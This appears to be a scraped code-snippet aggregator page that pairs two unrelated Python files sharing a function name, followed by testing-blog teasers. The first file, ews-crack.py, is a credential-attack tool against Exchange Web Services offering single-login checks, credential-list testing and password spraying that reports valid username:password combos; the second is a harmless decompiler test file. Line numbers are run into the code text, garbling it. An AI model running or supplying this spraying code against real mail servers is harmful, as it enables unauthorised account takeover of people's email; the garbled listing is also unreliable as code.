Best Python code snippet using molotov_python
ews-crack.py
Source: ews-crack.py
...56 except CASError:57 print("CAS Error: User {} does not exist.".format(user))58 return None, None59 return account, config60def test_single_mode(domain, username, password):61 account, config = ews_config_setup(username, password, domain)62 if account is None and config is None:63 return False64 iter(account.inbox.all())65 return True66def multi_account_test(domain, filename):67 with open(filename) as credentials:68 for line in credentials:69 username, password = line.split(":")70 valid = test_single_mode(domain, username, password.rstrip('\r\n'))71 if valid:72 print("Valid combo found {}:{}".format(username, password.rstrip('\r\n')))73def spray_and_pray(domain, filename, password):74 with open(filename) as userlist:75 for user in userlist:76 valid = test_single_mode(domain, user.rstrip('\r\n'), password)77 if valid:78 print("Valid combo found {}:{}".format(user.rstrip('\r\n'), password))79@click.command()80@click.option('--mode', type=click.Choice(['spray', 'single', 'creds']))81@click.option('--filename')82@click.option('--domain')83@click.option('--username')84@click.option('--password')85def main(mode, domain, username=None, password=None, filename=None):86 leetsauce = """87 ____| \ \ / ___| ___| | 88 __| \ \ \ / \___ \ | __| _` | __| | / 89 | \ \ \ / | | | ( | ( < 90 _____| \_/\_/ _____/ \____| _| \__,_| \___| _|\_\ 91"""92 banner = "============================================================================="93 print(banner)94 print(leetsauce)95 print(banner)96 if mode == 'single':97 print("Single account mode selected")98 valid = test_single_mode(domain, username, password)99 print("Valid password" if valid else "Invalid password")100 if mode == 'creds':101 print("Credential file testing selected")102 multi_account_test(domain, filename)103 if mode == 'spray':104 print("Spray and pray mode")105 spray_and_pray(domain, filename, password)106if __name__ == "__main__":...
test_code_deparse.py
Source: test_code_deparse.py
...14 print(dis.dis(code))15 deparsed = code_deparse(code, out=out, compile_mode=compile_mode, debug_opts=debug_opts)16 return deparsed17# FIXME: DRY this code18def test_single_mode() -> None:19 expressions = (20 "1",21 "i and (j or k)",22 "i and j or k",23 "i or (j and k)",24 "j % 4",25 "i = 1",26 "i += 1",27 "i = j % 4",28 "i = {}",29 "i = []",30 "for i in range(10):\n i\n",31 "for i in range(10):\n for j in range(10):\n i + j\n",32 "(i for i in f if 0 < i < 4)",33 "[i for pair in p if pair for i in f]",34 # Inconsequential differences in spaces.35 # "try:\n i\nexcept Exception:\n j\nelse:\n k",36 )37 for expr in expressions:38 try:39 deparsed = run_deparse(expr, compile_mode="single", debug=False)40 except:41 assert False, expr42 continue43 if deparsed.text != (expr + "\n"):44 from decompyle3.show import maybe_show_tree45 deparsed.showast = {"Full": True}46 maybe_show_tree(deparsed, deparsed.ast)47 assert deparsed.text == expr + "\n"48def test_eval_mode():49 expressions = (50 "1",51 "j % 4",52 "k == 1 or k == 2",53 "i and (j or k)",54 "i and j or k",55 )56 for expr in expressions:57 try:58 deparsed = run_deparse(expr, compile_mode="eval", debug=False)59 except:60 assert False, expr61 continue62 if deparsed.text != expr:63 from decompyle3.show import maybe_show_tree64 deparsed.showast = {"Full": True}65 maybe_show_tree(deparsed, deparsed.ast)66 assert deparsed.text == expr67def test_lambda_mode():68 expressions = (69 "lambda d=b'': 5",70 "lambda *, d=0: d",71 "lambda x: 1 if x < 2 else 3",72 "lambda y: x * y",73 "lambda n: True if n >= 95 and n & 1 else False",74 "lambda: (yield from f())",75 )76 for expr in expressions:77 try:78 deparsed = run_deparse(expr, compile_mode="lambda", debug=False)79 except:80 assert False, expr81 continue82 if deparsed.text != expr:83 from decompyle3.show import maybe_show_tree84 deparsed.showast = {"Full": True}85 maybe_show_tree(deparsed, deparsed.ast)86 assert deparsed.text == expr87if __name__ == "__main__":88 test_eval_mode()89 test_lambda_mode()...
Check out the latest blogs from LambdaTest on this topic:
Joseph, who has been working as a Quality Engineer, was assigned to perform web automation for the company’s website.
I think that probably most development teams describe themselves as being “agile” and probably most development teams have standups, and meetings called retrospectives.There is also a lot of discussion about “agile”, much written about “agile”, and there are many presentations about “agile”. A question that is often asked is what comes after “agile”? Many testers work in “agile” teams so this question matters to us.
Unit testing is typically software testing within the developer domain. As the QA role expands in DevOps, QAOps, DesignOps, or within an Agile team, QA testers often find themselves creating unit tests. QA testers may create unit tests within the code using a specified unit testing tool, or independently using a variety of methods.
With the rising demand for new services and technologies in the IT, manufacturing, healthcare, and financial sector, QA/ DevOps engineering has become the most important part of software companies. Below is a list of some characteristics to look for when interviewing a potential candidate.
ChatGPT broke all Internet records by going viral in the first week of its launch. A million users in 5 days are unprecedented. A conversational AI that can answer natural language-based questions and create poems, write movie scripts, write social media posts, write descriptive essays, and do tons of amazing things. Our first thought when we got access to the platform was how to use this amazing platform to make the lives of web and mobile app testers easier. And most importantly, how we can use ChatGPT for automated testing.
Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!